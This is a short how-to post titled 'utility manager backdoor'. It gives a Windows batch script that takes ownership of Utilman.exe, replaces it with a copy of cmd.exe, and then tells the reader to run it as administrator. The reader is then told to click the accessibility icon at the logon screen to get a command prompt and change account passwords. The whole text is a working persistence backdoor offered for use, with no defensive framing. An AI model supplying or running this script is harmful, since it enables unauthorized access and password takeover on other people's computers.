utility manager backdoor

code:@echo off
pause
takeown /f %systemroot%\system32\Utilman.exe
icacls %systemroot%\system32\Utilman.exe /grant administrators:f
rename %systemroot%\system32\Utilman.exe  Utilman.exe.exe.bak
copy %systemroot%\system32\cmd.exe %systemroot%\system32\cmd3.exe
rename %systemroot%\system32\cmd3.exe Utilman.exe
pause
echo click on utilmanager (Blue Color icon) at logon screen
pause


copy the code into notepad and save as file name.bat
run the file as administrator by right clicking the file

click on the left bottom corner blue color  icon on logon screen to open the prompt and change the password through cmd prompt.